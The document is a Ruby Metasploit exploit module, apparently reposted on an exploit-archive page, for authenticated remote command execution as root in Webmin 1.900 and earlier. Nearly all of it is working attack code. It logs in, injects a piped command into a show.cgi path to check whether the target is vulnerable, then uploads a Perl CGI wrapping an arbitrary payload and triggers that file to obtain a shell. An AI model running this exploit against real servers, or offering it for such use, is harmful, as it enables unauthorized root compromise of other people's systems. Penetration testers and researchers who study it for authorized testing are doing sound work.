Webmin 1.900 Upload Authenticated Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin Upload Authenticated RCE',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.900 and lower versions. Any user authorized to the "Upload and Download"
        module can execute arbitrary commands with root privileges.

        In addition, if the 'Running Processes' (proc) privilege is set the user can
        accurately determine which directory to upload to. Webmin application files
        can be written/overwritten, which allows remote code execution. The module
        has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

        Using GUESSUPLOAD attempts to use a default installation path in order to
        trigger the exploit.
      ),
      'Author'         => [
        'AkkuS <Azkan Mustafa AkkuA>',                  # Vulnerability Discovery, Initial PoC module
        'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '46201'],
          ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => true
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.900', {}]],
      'DisclosureDate' => 'Jan 17 2019',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
        OptString.new('USERNAME',  [true, 'Webmin Username']),
        OptString.new('PASSWORD',  [true, 'Webmin Password']),
        OptString.new('FILENAME',  [false, 'Filename used for the uploaded data']),
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'session_login.cgi'),
      'cookie' => 'testing=1',
      'vars_post' => {
        'page' => '',
        'user' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD']
      }
    })

    if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
      return $1
    end

    return nil unless res
    ''
  end

  ##
  # Target and input verification
  ##
  def check
    cookie = login
    return CheckCode::Detected if cookie == ''
    return CheckCode::Unknown if cookie.nil?

    vprint_status('Attempting to execute...')
    command = "echo #{rand_text_alphanumeric(0..9)}"

    res = send_request_cgi({
      'uri'     => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
      'cookie'  => "sid=#{cookie}"
    })

    if res && res.code == 200 && res.message =~ /Document follows/
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  ##
  # Exploiting phase
  ##
  def exploit
    cookie = login
    if cookie == '' || cookie.nil?
      fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
    end
    print_good("Session cookie: #{cookie}")

    ##
    # Directory and SSL verification for referer
    ##
    phost = ssl ? 'https://' : 'http://'
    phost << peer
    print_status("Target URL => #{phost}")

    res = send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
      'headers' =>
        {
          'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
        },
      'cookie' => "redirect=1; testing=1; sid=#{cookie}"
    )
    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Request failed')
    end

    print_status 'Searching for directory to upload...'
    if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
      directory = $1
    elsif datastore['GUESSUPLOAD']
      print_warning('Could not determine upload directory. Using /usr/share/webmin/')
      directory = '/usr/share/webmin/'
    else
      print_error('Failed to determine webmin share directory')
      print_error('Set GUESSUPLOAD to attempt upload to a default location')
      return
    end
    directory << 'file'
    filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
    filename << '.cgi' unless filename.end_with?('.cgi')
    upload_attempt(phost, cookie, directory, filename)

    ##
    # Loading phase of the vulnerable file
    # Command execution and shell retrieval
    ##
    print_status("Attempting to execute the payload...")
    command = payload.encoded
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri, 'file', filename),
      'cookie'  => "sid=#{cookie}"
    })
  end

  def upload_attempt(phost, cookie, dir, filename)
    limit = rand_text_alpha_upper(5..10)
    tmpvar = rand_text_alpha_upper(3..8)
    code = <<~HERE
    #!/usr/bin/perl
    $#{tmpvar} = <<'#{limit}';
    #{payload.encoded}
    #{limit}
    `$#{tmpvar}`;
    HERE

    message = Rex::MIME::Message.new
    message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"")
    message.add_part(dir, nil, nil, 'form-data; name="dir"')
    message.add_part('root', nil, nil, 'form-data; name="user"')
    message.add_part('1', nil, nil, 'form-data;  name="group_def"')
    message.add_part('', nil, nil, 'form-data;  name="group"')
    message.add_part('0', nil, nil, 'form-data;  name="zip"')
    message.add_part('1', nil, nil, 'form-data;  name="email_def"')
    message.add_part('Upload', nil, nil, 'form-data;  name="ok"')

    res2 = send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'),
      'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
      'data' => message.to_s,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'headers' =>
        {
          'Referer' => "#{phost}/updown/?xnavigation=1"
        },
      'cookie' => "redirect=1; testing=1; sid=#{cookie}"
    )

    if res2 && res2.code == 200 && res2.body =~ /Saving file/
      print_good "File #{filename} was successfully uploaded."
      register_file_for_cleanup(filename)
    else
      print_error 'Upload failed.'
      fail_with(Failure::UnexpectedReply, 'Failed to upload file')
    end
  end
end

Copyright ©2024 Exploitalert.